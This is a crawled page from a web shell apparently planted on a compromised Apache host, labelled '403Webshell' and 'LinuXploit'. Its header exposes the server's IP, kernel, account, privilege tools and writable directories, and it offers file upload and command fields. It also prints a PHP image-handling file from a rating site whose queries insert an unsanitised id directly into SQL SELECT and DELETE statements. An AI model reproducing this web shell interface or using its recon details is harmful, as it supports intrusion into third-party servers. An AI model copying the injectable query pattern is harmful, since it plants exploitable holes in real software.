403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/modules/rating/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/modules/rating/image_funcs.php
<?

function del_pic($id,$user,$verify = false) {

        global $picstable, $picscommtable;



//check user

        $line = sql_fetch_assoc(sql_query("SELECT * FROM $picstable WHERE i_id=$id"));

        if ($line['i_user'] != $user && $verify) return false;



//delete images

        @unlink('images/pictures/'.$line['i_user'].'-'.$id.'.jpg');

        @unlink('images/thumbnails/'.$line['i_user'].'-'.$id.'.jpg');

        @unlink('images/smallpics/'.$line['i_user'].'-'.$id.'.jpg');



//delete picture

        sql_query("DELETE FROM $picstable WHERE i_id=$id");

        }



/**

* Created by Nevil Jose

* Function to get the full viewable link to a youtube video from encrypted code

*/

function get_youtube_thumbnail($youtube_code) {

            //$youtube_thumbnail = array('http://s1.ytimg.com/vi/','/default.jpg');
		$youtube_thumbnail = array('http://img.youtube.com/vi/','/default.jpg');

            $link_to_thumbnail = $youtube_thumbnail[0].$youtube_code.$youtube_thumbnail[1];

            return $link_to_thumbnail;

}

/**

* Created by Nevil Jose

* Function to get the full viewable link to a youtube video watch link

*/

function getFullYoutubeVideoLink ($youtube_code) {

            $youtube_full = array('http://www.youtube.com/v/','&autoplay=1&rel=0');

            $watch_link_to_video = $youtube_full[0].$youtube_code.$youtube_full[1];

            return $watch_link_to_video;

}

function getYoutubeVideoEmbedScript ($youtube_video_link) {

    $embedScript = '<object width="425" height="355"><param name="movie" value="'.$youtube_video_link.'&hl=en"></param><param name="wmode" value="transparent"></param><embed src="'.$youtube_video_link.'&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object>';

    return $embedScript;

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit